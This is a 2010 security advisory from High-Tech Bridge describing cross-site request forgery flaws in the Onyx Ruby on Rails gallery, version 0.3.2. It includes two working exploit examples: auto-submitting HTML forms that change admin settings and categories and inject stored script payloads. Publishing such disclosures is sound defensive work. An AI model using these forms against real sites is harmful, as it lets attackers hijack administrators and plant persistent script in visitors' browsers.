Cross-site Request Forgery (CSRF) Vulnerabilities in Onyx

Advisory ID:HTB22536
Product:Onyx
Vendor:Hulihan Applications
Vulnerable Versions:0.3.2 and probably prior
Tested Version:0.3.2
Advisory Publication:July 27, 2010 [without technical details]
Vendor Notification:July 27, 2010
Public Disclosure:August 10, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Onyx which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Onyx
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/settings/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "setting[site_keywords]" and "setting[site_description]" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/admin/settings/update" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value="My Onyx Gallery" />
<input type="hidden" name="setting[site_keywords]" value='Ruby on Rails Gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_description]" value='Onyx is an open source free ruby on rails gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[welcome_title]" value="Welcome!" />
<input type="hidden" name="setting[welcome_message]" value="Welcome to my gallery!" />
<input type="hidden" name="setting[uniform_width]" value="500" />
<input type="hidden" name="setting[uniform_height]" value="500" />
<input type="hidden" name="setting[thumbnail_width]" value="100" />
<input type="hidden" name="setting[thumbnail_height]" value="100" />
<input type="hidden" name="setting[dummy_watermark_enabled]" value="0" />
<input type="hidden" name="setting[tooltips_enabled]" value="1" />
<input type="hidden" name="setting[tooltip_width]" value="300" />
<input type="hidden" name="setting[maximum_uploadable_files]" value="10" />
<input type="hidden" name="commit" value="Update Settings" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/categories/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify arbitrary sections. Due to insufficient sanitation of input data in the "category[description]" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/categories/update/1" method="post" name="main" >
<input type="hidden" name="category[name]" value="General" />
<input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' />
<input type="hidden" name="category[created_at(1i)]" value="2010" />
<input type="hidden" name="category[created_at(2i)]" value="7" />
<input type="hidden" name="category[created_at(3i)]" value="23" />
<input type="hidden" name="category[created_at(4i)]" value="04" />
<input type="hidden" name="category[created_at(5i)]" value="00" />
<input type="hidden" name="commit" value="Edit" />
</form>
<script>
document.main.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22536 - https://www.immuniweb.com/advisory/HTB22536 - Cross-site Request Forgery (CSRF) Vulnerabilities in Onyx
[2] Onyx - http://hulihanapplications.com/projects/onyx - Onyx is an open source Ruby on Rails based image gallery. It is designed to be clean and intuitive, flexible, customizable, and quick.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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